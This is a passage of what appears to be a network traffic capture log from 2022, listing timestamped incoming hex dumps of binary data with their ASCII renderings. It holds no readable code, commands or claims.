db 50 9c 32 f5 08 75 aa d2 d4 a9 53 a6 7e 9d 62 9d 22 ad 80 36 56 7b 72 73 13 57 57 57 db b3 97 16 8a f0 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 2e 33 e5 65 65 52 5a 5a aa 82 a9 53 a7 aa 54 3c 45 5a 0f 6d da b4 d1 
c3 d5 d5 4d 3c bd bc c4 c3 c3 c3 f6 4a fd 41 5d 2a 2d 2d 91 8a f2 72 15 
Data Ascii: B!B!h!B!B!B!B!zB!B!B!B!B!RO(#B!B!B!B!BIS!B!B!B!BeJ***RNAAIGkP2uS~b"6V{rsWWW!B!B!B!B.3eeR
ZZST<EZmM<JA]*--r

2022-05-27 06:46:23 UTC 284 IN Data Raw: f6 0a 21 84 10 42 08 21 84 90 96 c8 e5 14 e1 0d b8 f5 15 f1 70 77 95 df dc 3b 46 a6 0c eb 20 ee 6e 17 37 6f 
65 86 d5 52 51 59 25 95 38 aa 4e e9 38 db a2 7a 7e ac 8d b8 eb da c2 99 ef 99 f7 f5 4e 79 e6 cd 75 fa f7 43 73 07 ca c3 
d7 b6 de b5 80 a6 24 c2 9b f7 f5 2e 79 ed 8b ed 52 58 52 2e ae 2e 17 3f 07 5d 50 5c 2e 57 8f ef 26 bf bc 7b a4 78 9a 3a 
57 1f 50 a7 ac fa a5 1a 23 bb 85 6f 17 73 8d ae 2e 2e 5a 87 f1 37 21 a0 d5 89 f0 96 2f 5b 26 1f 7d f4 91 9c 38 71 dc f6 8c 
73 fe fc 97 bf 4a e7 ce 9d e5 d0 c1 43 f2 fc f3 cf 49 6a 6a aa 0c 1b 36 4c ee be e7 5e 63 7c 02 6d ef aa 16 e1 6d d9 b2 59 
ee b9 e7 3e 8a f0 2e 82 0f 3f fc 50 be f8 fc 33 89 8e 6e 2f 4f 3e f9 a4 f8 fa f9 d9 5e 71 ce 5b 6f be 29 f3 e7 7f 61 ca a8 8b 
fc ee f7 bf 6f d0 c5 78 d2 78 1c 3c 78 50 de 
Data Ascii: !B!pw;F n7oeRQY%8N8z~NyuCs$.yRXR..?]P\.W&{x:WP#os..Z7!/[&}8qsJCIjj6L^c|mmY>.?P3n/O>^q[o)
aoxx<xP

Timestamp
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2022-05-27 06:46:23 UTC 286 IN Data Raw: d3 f6 29 42 2e 0c ea d1 97 ab 0e 99 fa ba 4c 7e fb d2 4a f9 72 e5 21 39 92 9a a3 11 f1 42 03 bd 25 c4 1c be 5e 
ee 72 28 39 5b 56 6f 4f 91 cd 7b 4f d8 3e 49 2e 07 59 b9 c5 32 7f c5 41 79 f2 85 e5 f2 e8 d3 0b e4 f3 15 07 6c af b4 6c 9a 
9c 08 0f a2 8b 19 33 67 c9 3d f7 dc eb f4 08 0f 0f b7 bd 53 64 dc b8 71 72 cb 2d b7 4a bf fe fd 6b bd 58 45 08 21 19 19 19 
b2 6b d7 2e c9 c9 69 fc 05 cf a6 44 78 78 84 dc 76 fb ed e7 da da 7b ef 93 7b ef bb 5f 05 01 88 d6 b1 6c d9 52 79 e5 e5 
97 25 39 25 d9 f6 c9 c6 03 0b d7 88 80 37 6d da 34 4d 49 4b c8 e5 a0 a4 a4 44 0e 1d 3a 28 5b b6 6c 91 13 27 4e 48 59 
99 f3 28 92 2d 1d 08 7c 10 f9 cb d1 66 dc 7d f7 3d 72 e5 55 33 f4 75 08 e7 36 6c 58 6f fb c4 c5 01 81 14 04 90 88 84 19 
78 19 a2 44 91 96 0d 22 38 42 08 95 98 90 a0 62 28 
Data Ascii: )B.L~Jr!9B%^r(9[VoO{O>I.Y2Ayll3g=Sdqr-JkXE!k.iDxxv{{_lRy%9%7m4MIKD:([l'NHY(-|f}=rU3u6lXoxD"8Bb(

2022-05-27 06:46:23 UTC 287 IN Data Raw: c5 25 ba b8 b8 79 f3 46 53 cf 52 a4 ac bc 5c 7c bc bd a5 4b d7 ae 32 64 c8 50 e9 dd bb b7 be 6f cf ee dd f2 c9 
27 9f 68 14 54 44 fd 80 40 d0 91 c4 c4 44 d9 b4 69 a3 46 91 c9 ca ce 16 77 73 9d 88 a0 37 61 e2 24 4d f9 b5 6c e9 12 63 
cf 5d e4 86 1b 6f 94 8e a6 4e 58 7c 6c 7e d3 c6 8d 1b 64 e2 84 49 32 6a f4 28 d9 b4 71 a3 f9 0d eb 24 2d 3d 5d 7f 37 6c 
d2 90 a1 c3 64 e0 c0 81 67 f5 2f 2d 91 85 0b 16 98 fb f1 91 69 17 59 e6 de f7 91 9b 6e ba 49 ba d6 a2 1f de 6b da 27 a2 
42 1d 3e 7c 58 45 04 15 e6 be a1 8d b6 6f df 5e 06 0f 1a 22 03 07 0d 54 b1 01 78 e3 f5 d7 f5 bd e5 15 15 9a 42 11 91 6c 
9d d5 3d 94 f7 9a d5 ab f4 5c 43 87 0e d5 94 6b f6 51 a1 60 6b d6 ae 5d 23 47 8f 1c 95 13 27 8e 0b 9c 18 d4 b7 78 53 5e 
f0 1d 26 38 49 cd b6 75 cb 56 79 63 de eb e2 62 ea 01 
Data Ascii: %yFSR\|K2dPo'hTD@DiFws7a$Mlc]oNX|l~dI2j(q$-=]7ldg/-iYnIk'B>|XEo^"TxBl=\CkQ`k]#G'xS^&8IuVycb

2022-05-27 06:46:23 UTC 288 IN Data Raw: 6d a0 8c ed 1f 23 13 87 c4 8b bf cf d9 73 18 0f 9a df 89 48 5d e0 95 5f 5d 25 a9 e6 bb 3e fa 6e af ec 3e 7a 52 
ba c6 86 c8 af ef 1d ad 69 4e 2d 56 6c 4d 96 35 3b 52 64 fb c1 34 4d 91 0a 3a b7 0f 96 61 bd db c9 75 93 7a 88 8b 4b 0d 
37 b6 96 54 94 97 cb b1 d4 64 5d 1b 09 b4 cd 05 d6 07 cc e9 15 17 17 49 50 70 88 04 d4 f3 3c f3 be de 25 af 7e b1 5d fe 
fd f8 64 e9 d7 d5 b9 d6 a2 2e 8c bc 67 9e 4c 1e da 41 7e 79 f7 48 f1 74 3f 57 4f e2 48 ba 29 c7 5b 7e fd 85 1c b7 95 51 9f 
ce 11 f2 ec 4f a6 6a 0a da ba 82 7a bd 65 7f 9a 2c db 9c 28 87 53 b2 ab 05 a3 a6 ae e2 5c 3d e2 43 65 fc c0 58 19 d4 e3 
dc f9 eb b7 21 02 5c b4 47 ff be 77 76 7f 2d eb 25 1b 13 64 c5 b6 64 39 91 59 28 de 1e 6e d2 bf 5b a4 b6 95 f8 a8 40 c9 
c9 2f 91 a5 a6 ee 2e 37 df 93 9c 6e da b5 a9 87 1d 
Data Ascii: m#sH]_]%>n>zRiN-VlM5;Rd4M:auzK7Td]IPp<%~]d.gLA~yHt?WOH)[~QOjze,(S\=CeX!\Gwv-%dd9Y(n[@/.7n

2022-05-27 06:46:23 UTC 290 IN Data Raw: d0 f6 da ab af ea 82 3d ea 8a ab ab b1 6f c6 0e a1 8e a2 4f 8a 8d 89 3b 4b 4c 07 8a 8a 0a 75 13 c3 5b 6f be 
a5 e2 56 d8 22 88 ff 31 c8 80 d0 02 8f 91 ca 10 bf 1f e0 de bd 63 ee e9 a2 45 8b b4 3d b9 99 6b c6 bd c2 f5 21 b5 2a de 
df 0e fe 8e dd 42 fe 32 f3 db f1 9b 20 5a 46 1f 08 5f a7 d0 dc ef 14 53 3e d9 d9 39 5a 6e ad 41 84 87 ba 82 7a 87 94 f4 c3 
86 0e 93 b8 d8 38 d9 6c ea 2e ca 12 b6 3e c8 94 b5 33 56 2c 5f a6 76 0d 02 34 b4 83 84 a3 09 fa fc e0 c1 83 cf ea 5b 70 
9f 61 1b 51 0e 68 0f ea d7 18 1f 09 82 3c f8 50 f0 ad 21 94 74 dc 74 f0 dd e2 c5 fa 3a 84 ae 8e 63 17 d4 75 f4 71 10 a9 c7 
c6 c5 9e e5 f7 40 58 85 7a 87 31 0f fc 18 fb 3a 09 3f 0a 75 02 75 12 22 bf d5 a6 4e 96 db ea 24 fa c6 a4 a4 44 fd 4d 68 27 
8e a2 38 88 be 5e 36 f6 f6 db 6f bf d1 36 0c 1f 
Data Ascii: =oO;KLu[oV"1cE=k!*B2 ZF_S>9ZnAz8l.>3V,_v4[paQh<P!tt:cuq@Xz1:?uu"N$DMh'8^6o6

2022-05-27 06:46:23 UTC 291 IN Data Raw: 4b 46 8d 1a 73 ce 02 59 6b a3 21 45 78 5f 7f fd 95 2e 26 61 51 0a bb e8 bf f7 fd c7 64 e6 cc 99 1a 4d 6d dc f8 
09 52 58 54 a8 8b 8f 10 57 40 9c 67 2d 34 03 2c 80 a3 4c b1 58 91 9e 9e a1 13 da 8f fd f0 71 dd 59 3e 74 e8 30 5d 48 c5 
a2 12 16 ba f0 79 d8 df 3b ee bc 4b 6e bf e3 0e bd 0e 1f 6f 1f 9d b8 86 68 23 2a aa 9d 74 ea d4 a9 fa c4 86 9d 3b 77 c8 
c7 1f 7d a4 0b 46 83 06 0d 92 87 1f 79 54 ae bb ee 3a 8d 92 83 54 63 58 5c 80 08 ac 63 c7 ce ba 58 e1 b8 a8 d5 12 a9 
49 84 87 05 82 ea 85 a3 0c 5d 30 18 39 6a a4 dc 7b ff fd 72 cd 35 d7 c8 c8 91 a3 a4 b8 a4 44 27 fb b1 40 07 41 9b 15 1d 
0a 0b 3e 9f 7e fa 89 7e 6e ce 9c 6b 34 f2 03 04 36 33 67 ce d2 a8 0c 70 1e b0 70 68 39 11 cb 96 2d 95 0f de 7f 5f a3 54 
42 ac f3 93 9f fc 54 ae b8 e2 0a b9 fa 9a b9 5a 1f 0e 99 
Data Ascii: KFsYk!Ex_.&aQdMmRXTW@g-4,LXqY>t0]Hy;Knoh#*t;w}FyT:TcX\cXI]09j{r5D'@A>~~nk463gpph9-_TBTZ

2022-05-27 06:46:23 UTC 292 IN Data Raw: d8 bb 53 a7 ce 2a a0 b4 c0 c6 aa cd 9b b7 98 7a 18 a3 be 73 4b 6c d7 0d 29 c2 83 1f 85 4d 2c 10 b5 62 ec 82 
88 91 37 df 7c 8b ce 69 84 85 87 9d 9e 13 83 4d 80 10 cf ea 07 6a 12 e1 21 5a 26 fa 15 7c 2f e6 61 66 cd 9a 23 0f 3f f2 
88 fa 2f 98 cf c0 d8 09 3e 11 fa 17 ec 78 c7 78 ea 42 63 3f 42 08 21 84 10 42 08 21 97 97 8b 15 e1 bd f4 d9 56 89 08 f1 
95 31 fd db 9f 16 f8 20 82 d7 e2 8d 09 f2 93 5b 87 cb 88 be ed 4f 8b d6 76 1e ce 90 4d 7b 8e cb b7 6b 8f c8 92 4d 89 b2 
72 5b 8a e4 e4 97 4a d7 d8 60 f9 c9 7f 96 c8 37 e6 f9 31 fd 62 e4 df 3f 9a ea 34 e2 9c 33 3c dc 5c 35 b2 d5 92 4d 09 92 5f 
54 a6 51 c7 10 0d 6b cf 91 93 12 e8 ef 25 ed 23 aa a3 5e 9d 0f 7b 11 5e 46 4e 91 a4 a4 e5 4b b4 f9 cc f0 3e ed 25 3c d8 
c7 9c b3 5c cf 89 28 61 c5 65 15 d2 2d 36 44 7f af 05 
Data Ascii: S*zsKl)M,b7|iMj!Z&|/af#?/>xxBc?B!B!V1 [OvM{kMr[J`71b?43<\5M_TQk%#^{^FNK>%<\(ae-6D

2022-05-27 06:46:23 UTC 294 IN Data Raw: be 41 03 07 9d be 26 2c c2 23 05 33 7e 1f a2 f5 ed d8 b9 43 df 8b fa 9a 63 7c 8b 8f 3e fa 40 ef 1f 44 c0 d8 0c 
00 61 8d f5 59 08 1e 60 8f f0 9b 8a 8b 4b 34 fd 37 fa 38 88 18 6f ba f9 16 dd 70 62 bd 17 42 2c 08 fc b0 79 02 76 0b 51 8c 
00 52 37 e3 be 41 60 86 54 a0 d8 54 60 7d 06 75 1b e5 d0 d2 53 2a 9f 0f 88 6e fb f4 ed a7 3e de de 7d 7b 55 d0 66 0f ca 
18 91 32 d1 ff f5 ee dd 4b a3 8f 99 82 b4 bd 7a 2e e3 c6 8d d7 4d 20 d8 54 04 51 a3 75 9f e1 eb 40 d0 8d 0d 1e 88 e4 0d 
a1 72 63 61 d5 49 88 41 ad eb 41 3f 79 e3 8d 37 eb eb 10 b3 22 05 34 80 ff 0d bf 18 11 fd 60 03 e1 b7 4f 9a 34 f9 f4 e7 20 
de 82 e0 15 e9 7b 9d a5 2e cd ca cc d4 7b 18 dd be bd 8c 18 39 f2 ac ba 8c a8 83 10 31 3a 46 bc 6e c9 a0 8d 43 c4 63 
d9 4d f8 14 10 d4 bc fa ea 2b f2 c1 07 ef eb b8 06 
Data Ascii: A&,#3~Cc|>@DaY`K478opbB,yvQR7A`TT`}uS*n>}{Uf2Kz.M TQu@rcaIAA?y7"4`O4 {.{91:FnCcM+

2022-05-27 06:46:23 UTC 295 IN Data Raw: da 28 16 71 21 ce 41 54 28 44 5f 81 6d a8 2b 58 68 3a 7a e4 b0 20 7a d3 88 11 23 34 32 87 23 68 f7 88 32 71 
a1 a8 1c 58 30 46 44 33 47 31 41 ef 3e bd 55 dc 8b 7a 96 76 22 ed 9c 45 d2 d6 0e 22 3b a1 9d a1 7c 21 2a c2 c2 2c 22 
87 42 30 07 9b 69 d5 15 d8 f3 4a db bd 1b 3f 7e 82 2e fe a3 6e 40 9c 05 51 90 d5 cf a2 2e 61 81 1e f7 19 76 65 fc b8 09 
a7 fb 68 2c 1a 5a f6 02 df 89 05 45 c7 45 69 d8 23 a4 af b3 58 b5 6a 85 ed af 86 a7 b5 5a 15 94 15 22 b4 58 7e d9 bd f7 
dc 2d bf fa e5 cf 55 10 87 c8 2c 10 48 43 98 63 01 b1 c9 ce 1d db 35 52 16 04 07 10 94 38 d2 2e ba 9d e9 4f 62 34 3a 0f 
8e da 00 91 25 22 97 21 6a d9 d8 b1 e3 34 d2 9d 23 68 bf b0 0f 7b f7 ec 95 22 5b 9f 6f 0f a2 3d 42 d8 e2 18 0d 66 ed da 
d5 2a 94 e9 d8 b1 93 fa 89 ce 76 1a 22 85 29 ea df 96 2d 5b 
Data Ascii: (q!AT(D_m+Xh:z z#42#h2qX0FD3G1A>Uzv"E";|!*,"B0iJ?~.n@Q.aveh,ZEEi#XjZ"X~-U,HCc5R8.Ob4:%"!j4#h{"
[o=Bf*v")-[

2022-05-27 06:46:23 UTC 296 IN Data Raw: 80 68 39 88 04 80 54 9c a5 0e 51 9b 5a 33 58 88 39 5f 24 0d 88 03 20 6c c8 cb cb d5 85 20 d0 a3 67 0f e9 d7 
b7 af 96 ed 3b ef bc 2d 6f bc fe ba 2c 5c b8 50 85 58 58 a0 b4 27 29 31 49 17 ee 50 97 96 7c f7 9d d3 72 41 7a 5b 9c 0b 
d1 7d 9c 39 30 10 40 d4 c7 31 24 ce b1 16 52 23 22 ce a4 dc 43 74 0c dc 7b 74 8c ce ca 08 a9 29 d1 f6 ad 72 02 10 67 22 
1d 5d 9c 29 1f a4 b8 7a f6 bf ff d5 94 92 eb d6 ae ad b5 00 07 e4 64 e7 e8 62 21 84 76 48 7f 7d 3e bc bd bc 9d 8a 68 ec 
41 b4 1e 5c 97 33 20 fc c5 a2 1b a2 08 e1 77 90 33 40 dc 83 34 e1 88 72 fa e2 0b 2f c8 73 cf 3e 2b ff f8 c7 df e5 2f 7f fe 
93 a6 93 76 26 ae 84 78 17 e2 27 d8 07 2c 00 23 9a a1 55 b7 90 da 10 a9 64 51 a7 46 1b 3f 20 38 e4 cc 4e 16 44 6c b1 
da 39 16 82 1d 05 78 16 3d 7a f4 b2 fd 85 fa 79 c4 f6 17 
Data Ascii: h9TQZ3X9_$ l g;-o,\PXX')1IP|rAz[}90@1$R#"Ct{t)rg"])zdb!vH}>hA\3 w3@4r/s>+/v&x',#UdQF? 8NDl9x=zy

2022-05-27 06:46:23 UTC 298 IN Data Raw: 9d 58 60 ed d2 b9 8b 46 7e 99 35 7b 8e 8a a9 20 74 79 ed b5 57 55 14 f2 f5 d7 5f 9f 5e 14 ac 89 92 d2 52 29 
29 29 15 57 63 13 10 55 e8 62 80 50 ef 7c a2 2e e2 1c 44 4a 41 6a 77 94 db 82 05 df ea 02 3c ec 23 04 00 63 c7 8d d3 
45 78 2f 73 5f 9d 81 54 8d 96 70 03 91 80 2c a1 2e c4 58 58 8c 46 3f 3f 6e fc 04 b5 e7 ce f0 f5 a9 9d 1f 80 f4 68 a4 61 41 
db 47 da 71 f8 64 77 dc 71 a7 a6 e3 45 6a 3b 88 3f 20 bc 84 b8 cb be ef 46 34 b1 d2 d2 32 15 89 20 35 ea 39 36 c2 1c e8 
7b 91 62 15 02 7b 6f ef 33 bb 67 6a 02 e2 01 44 40 85 10 60 f5 ea d5 4e cf bb 63 c7 0e 15 df a3 ef 76 56 97 42 42 c2 c4 
c5 49 34 e4 22 73 fd b0 75 10 29 20 c2 9f b3 73 c3 4f c4 f5 9e af ff a9 6d 1d 05 f8 2e dd 0c 60 fe 76 73 bd b0 8f 81 36 82 
7b 8a a8 ce 10 87 39 bb be 0d 1b 36 68 7f 8a 7e d0 f2 
Data Ascii: X`F~5{ tyWU_^R)))WcUbP|.DJAjw<#cEx/s_Tp,.XXF??nhaAGqdwqEj;? F42 596{b{o3gjD@`NcvVBBI4"su) 
sOm.`vs6{96h~

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 299 IN Data Raw: 4f 63 b3 50 df 2e 24 70 d8 b4 71 a3 ac 5d b3 56 ed 1b da c5 dd f7 dc 2b d7 5d 7f bd a6 02 1c 37 7e bc 8a 90 
6a eb 13 37 67 10 5d 0f d1 f0 ae 37 bf 1d fe c1 4d 37 df a4 91 65 21 3c 79 ff dd 77 e5 a0 4d e4 d8 da 80 6f 0a 5f 18 62 f4 
99 b3 66 a9 a0 78 cd ea 55 b2 7d 5b b5 58 0d c0 b6 c1 3e 41 24 85 36 ea ac 5d db 1f 88 a0 69 81 74 b4 48 af 8f 7a 8a cd 
2d 10 76 1d 38 b0 5f a3 11 a3 7e 23 7d 30 d2 05 d7 06 d8 25 d8 42 b4 89 47 8d 9f e6 ec bb ed 0f 7b bf 7b c8 b0 6a 5f 11 
ed 07 63 bb 0d 1b d6 6b 64 d2 11 a3 aa 53 ab 62 63 06 7c 01 44 5c 43 1a 5a f8 00 f0 05 f0 9c b3 14 c7 2d 95 d1 63 c6 68 
3f 8a f1 cf d6 ad 5b d4 17 41 7d 80 50 0b 36 07 69 c5 eb 0a ca 0d e5 3f 6c d8 70 a7 e5 64 7f 5c 33 77 ae ed 53 88 70 1e 
aa a9 50 11 45 f5 58 ea 31 dd 7c 83 34 b9 a8 af 28 13 
Data Ascii: OcP.$pq]V+]7~j7g]7M7e!<ywMo_bfxU}[X>A$6]itHz-v8_~#}0%BG{{j_ckdSbc|D\CZ-ch?[A}P6i?lpd\3wS
pPEX1|4(

2022-05-27 06:46:23 UTC 300 IN Data Raw: 75 4f 65 6a d1 2e cc dc 47 9b 38 0f 29 71 ef 9a d9 57 ee 9b d3 ff bc c7 98 fe 31 97 fc 7e 36 16 a3 fa b5 97 9f 
dc 36 4c 7e 7b ff 18 99 30 28 4e bc bd aa 83 0b bc f8 e9 56 79 f5 8b ed 12 1a e8 2d 7f 78 68 ac fc fe c1 b1 fa 9e da 1c 57 
4f e8 2a f6 e9 59 6b 02 e5 89 ef 00 10 6f fe eb dd 8d f2 dd c6 9a d7 92 ed 81 08 14 f5 00 40 3c b8 eb 70 75 b6 07 47 32 
73 8b 25 39 ad 5a 14 1a e2 ef a5 75 b5 25 10 1d 11 70 5a c4 d8 36 d4 4f 05 6f ce ea 2c 0e 08 f1 46 f4 8d ae 7e 73 23 12 
64 ee 77 f7 f8 50 99 31 ba b3 3c 79 f7 68 b9 73 46 5f 89 34 ed 0c d1 08 d7 ee 48 3d 6f 6a e0 a6 48 ab 9b 2d 1d 3e 62 84 
4e 3a 22 4d d9 ae dd bb 74 92 9b 5c 7a 06 0f 1e a2 ff 62 02 f8 b3 cf 3e d5 bf 1d c1 82 01 52 d9 a1 4c 30 39 0c 51 cf a5 
06 3b fe 23 db b6 d5 05 a2 9d 3b ab 17 a9 48 e3 81 
Data Ascii: uOej.G8)qW1~66L~{0(NVy-xhWO*Yko@<puG2s%9Zu%pZ6Oo,F~s#dwP1<yhsF_4H=ojH->bN:"Mt\
zb>RL09Q;#;H

2022-05-27 06:46:23 UTC 302 IN Data Raw: 44 9a a4 09 13 27 aa 0d fd db d3 4f cb 97 5f ce b7 bd 52 0d 1c 5d 44 d1 fb e7 3f fe 6e 7b c6 74 ae 05 05 f2 ee 
3b ef c8 86 f5 eb 6d cf 54 93 91 91 a1 29 4e b1 10 09 e1 0e c4 b1 35 11 d5 36 4a 7a f7 ea 2d c1 c1 21 e6 73 ab 54 c0 7b 
e2 c4 09 db ab a6 dd 6e df 26 6f bc fe 9a 2e fc 36 86 2d 69 49 20 02 ca cb a6 ec 7f f3 eb 5f 9f 73 fc fb df ff d2 48 72 d1 d1 
ed 4f 47 e8 f8 ec b3 4f b4 4c 17 2e 58 20 f3 e6 bd 21 af be f2 8a 0a 2c 1c 85 74 f6 a0 0d 0e 1a 34 58 db f8 c1 83 07 f4 3b 
51 8f c6 8e 1b 7b d6 22 bd 05 fa 10 d4 35 94 25 de f7 c6 eb af eb f5 cc 7b e3 0d ed 3b fe 6d fa f3 df ff ee b7 a7 05 bb 78 
2f 04 00 16 10 3a 21 a5 1e 40 4a bc b7 df 7a 53 9e fd ef 7f f4 f3 ff f7 fc f3 9a 0e 1b ef 39 1f 10 89 22 dd 9a c5 c6 0d 1b e4 
bf ff f9 8f bc f4 e2 0b f2 d1 87 1f 
Data Ascii: D'O_R]D?n{t;mT)N56Jz-!sT{n&o.6-iI _sHrOGOL.X !,t4X;Q{"5%{;mx/:!@JzS9"

2022-05-27 06:46:23 UTC 303 IN Data Raw: 88 3a ea 2b 82 40 6a 55 2c 34 7f f8 c1 07 72 ff 7d f7 ca cf 7f f6 33 15 f3 b4 26 0e 1d 3a 28 77 dc 7e 9b 5c 77 
ed dc d3 c7 ef 7f fb 5b bd 0f 87 0e 1f d2 c5 a2 5b 6e bd 55 1e ff d1 8f 9d 0a 94 50 4e 37 dc 70 93 46 ba c4 a2 e1 db 6f bd 
a5 e7 40 19 59 f6 f4 b5 d7 5f d3 e8 4e 16 58 a8 45 b9 fd f3 9f ff d0 72 fc e1 63 8f c9 e3 3f fc a1 fc f8 47 8f cb fa 75 eb a4 
73 97 2e 32 65 ea 14 09 08 f0 b7 7d e2 fc 20 12 df 55 33 66 68 7a 35 88 39 7f f4 f8 0f b5 ed 3e fc d0 83 f2 8f bf ff 5d af 79 
dc b8 f1 12 11 11 69 fb 04 a9 0d 58 b8 85 78 11 91 79 1c 8f a3 47 8e e8 e2 eb c8 11 23 55 b0 03 e1 0e 16 fa 10 35 f1 e5 
97 5f 92 05 df 7e 2b dd bb 77 97 d1 a6 6c 2e 94 46 6b e4 a8 51 a6 3f f0 d1 be 16 07 ca 6b f8 f0 91 4e 17 9e 51 d7 ee bf ff 
01 99 39 6b 96 2e 02 c3 4e 20 ba 0f 
Data Ascii: :+@jU,4r}3&:(w~\w[[nUPN7pFo@Y_NXErc?Gus.2e} U3fhz59>]yiXxyG#U5_~+wl.FkQ?kNQ9k.N 

2022-05-27 06:46:23 UTC 304 IN Data Raw: c9 5d dd 22 d9 59 59 a6 a1 95 4b 4c 6c 9c f4 ed d7 cf a9 38 c2 1e 2c a2 43 14 15 df 21 5e 27 ff d1 80 ed c1 73 
58 58 0a 0e 0e d2 32 c6 f9 20 a8 40 99 23 dd e0 6d b7 dd 21 d1 d1 e7 e6 98 c6 ce 6e 44 ca 0a 0d 0d d1 f7 42 74 63 0f 5e 
cf 33 75 08 69 73 ba 75 eb ae 0b d3 8e 60 e7 7f b1 a9 63 f1 71 f1 d2 b1 53 c7 d3 bb c0 3d 3c dc a5 47 8f 1e ba e8 1a 1e 
16 ae 0b 62 88 f8 85 fa 80 28 14 c3 86 0f 97 b9 d7 5e a7 11 21 ec eb 58 4b 06 02 95 bc fc 3c 53 36 fe 82 88 0a f6 65 92 
97 9b ab e9 1b e3 e2 cd 7d 34 f7 c4 d9 6e 7a a4 27 42 ba 4a 44 51 81 a8 0a 62 1c 3f 73 20 6a 11 da 15 22 ed 78 7a 7a 
49 fb f6 d1 ba 00 77 c3 8d 37 69 aa 68 fb 73 a1 0c 90 0a 0b e7 08 0d 09 35 ed d4 ef 74 3b 45 2a c2 51 a3 46 c9 4d 37 dd 
ac e7 b4 af 67 88 36 e3 ed e3 ad 11 37 b0 30 e4 58 07 2d 
Data Ascii: ]"YYKLl8,C!^'sXX2 @#m!nDBtc^3uisu`cqS=<Gb(^!XK<S6e}4nz'BJDQb?s j"xzzIw7ihs5t;E*QFM7g670X-

2022-05-27 06:46:23 UTC 306 IN Data Raw: 7e 51 99 64 e5 95 d4 eb 78 7f d1 5e e9 d9 21 5c c6 0d 8c 39 67 5e a7 26 dc 5d 5d a4 6b 5c 88 46 48 83 68 26 
b6 6d a0 44 04 fb 48 9c f9 b7 a3 79 6e 40 b7 48 99 34 34 5e ee 9c d1 57 6e 9c da 53 d3 97 da 73 32 a7 58 0a 8b cb f5 fd 
43 7a b5 d3 94 a0 8e a4 66 54 6f 60 c3 7b 46 f7 6f 7f 5a 04 d6 36 d4 4f a3 6e b5 0b f7 d3 14 b7 51 61 78 1c 2a d3 47 76 
92 87 e6 0e d4 28 78 65 e5 95 fa be 3e 9d 23 a4 6f 97 08 f1 f2 a8 5e 93 3a 90 94 29 61 81 d5 d7 39 75 78 07 4d b9 ea 0c 
3f 1f 0f b9 c2 9c 0f ef c3 ef 0a f4 ab 4e 9b 89 c7 f8 dd c3 7b 47 cb 9c 71 5d 65 ce d8 ae e2 eb 7d 71 63 71 cc 4b 60 3e 19 
73 36 f6 73 c9 75 a5 a2 bc 5c f5 1e ba 2e 7e 11 e7 b1 38 94 92 2d 1d da 05 ca c3 d7 0e 94 88 90 9a 03 72 5c 0a 50 b7 ae 
9f d2 43 45 75 d1 11 01 12 6d ca 19 a2 4e 94 01 22 d8 
Data Ascii: ~Qdx^!\9g^&]]k\FHh&mDHyn@H44^WnSs2XCzfTo`{FoZ6OnQax*Gv(xe>#o^:)a9uxM?N{Gq]e}qcqK`>s6su\.
~8-r\PCEumN"

2022-05-27 06:46:23 UTC 307 IN Data Raw: 21 84 10 d2 32 60 24 3c 62 c1 48 78 84 34 2c 8c 84 47 08 21 84 5c 00 2c 36 a1 93 c4 81 68 6a 38 ac c7 5c 88 
6a 5a 58 65 65 5f 46 84 10 42 9a 26 ce fa 57 cb 7e b3 7f 25 84 90 a6 81 65 a3 69 97 09 21 84 10 42 08 21 84 10 42 08 69 
1a 70 05 9c 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 e4 32 72 7a 9f 15 73 19 b6 7a 4e d9 2a 41 1b f3 
df 45 c1 bd 7b 84 9c ce f8 83 cd ac 97 ba 49 30 1d 2d 21 84 10 d2 4a d9 b2 3f 5d 0f 72 f1 0c ee 11 29 fd bb 84 db 1e 11 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 d4 8d a2 c2 42 29 2d 2d 91 c0 a0 60 f1 f3 0f 60 56 a1 56 0a 04 43 85 85 05 92 
9d 79 52 3c 3c 3c c5 d7 cf cf f6 4a dd 29 2d 29 d1 74 b4 3e 3e be 12 60 ea 95 9b 9b 9b ed 15 42 5a 0f 25 a6 1d 9c 4c 3f 
61 6c aa ab f8 07 04 5c d2 cc 12 14 e1 11 42 08 21 ad 94 97 
Data Ascii: !2`$<bHx4,G!\,6hj8\jZXee_FB&W~%ei!B!BipB!B!B!B!2rzszN*AE{I0-!J?]r)B!B!B!B)--``VVCyR<<<J)-)t>>`BZ%L?
al\B!

2022-05-27 06:46:23 UTC 308 IN Data Raw: 42 9a 30 9f 7f 3e 5f be f9 66 c1 05 8f 36 6d da d8 3e 41 08 21 84 10 42 08 69 4c 9a 6c 3a da 0d 1b 37 48 46 
46 86 ed 51 f3 c0 cd d5 4d a6 4d 9b 66 7b d4 ba f8 76 c1 b7 0d 16 8d ca a5 8d 8b b4 6f df 5e fa f4 e9 63 7b 86 34 26 09 
b9 e5 b2 21 b5 48 3a 05 7b c8 a0 28 6f db b3 8d c7 b7 87 0b 24 af b4 52 ae e8 ec 2f fe 1e 2d 4f 27 7c e8 d0 21 d9 7f 60 bf 
ed 51 d3 e7 8a e9 57 e8 ee c9 a6 c8 bc 79 f3 34 25 ed 83 0f 3e 24 37 de 78 93 ed d9 8b e7 de 7b ef d6 72 7a f1 85 17 25 
2e 2e ce f6 2c 21 a4 36 30 1d 2d 21 84 10 42 9a 2b cd 21 1d 6d 4a 4a 8a 14 17 97 d8 1e 35 6d 5c 5d 5d a4 63 c7 8e b6 
47 84 38 e7 f8 f1 e3 52 59 55 65 7b d4 b4 f0 f5 f1 91 e0 e0 60 db 23 72 b1 14 14 16 4a 4e 4e 8e ed 51 d3 a3 5d 54 54 93 
9d ff 6a 4d 94 6c 78 cd fc 7f d3 58 ae 72 8b 1f 29 6e 11 
Data Ascii: B0>_f6m>A!BiLl:7HFFQMMf{vo^c{4&!H:{(o$R/-O'|!`QWy4%>$7x{rz%..,!60-!B+!mJJ5m\]]cG8RYUe{`#
rJNNQ]TTjMlxXr)n

2022-05-27 06:46:23 UTC 310 IN Data Raw: d4 95 35 55 37 be fa f2 0b 7a fa a9 a7 28 20 20 40 5b 22 08 82 20 08 82 20 08 b5 0b f1 84 57 02 e2 09 af 74 
54 a4 27 3c 1b 1b 1b fa ef bf b5 bc 2c 23 23 83 fe fa 6b 19 fd fe fb 42 f6 c6 75 d3 b8 71 74 c7 1d 77 56 5b cf 5c b5 05 34 
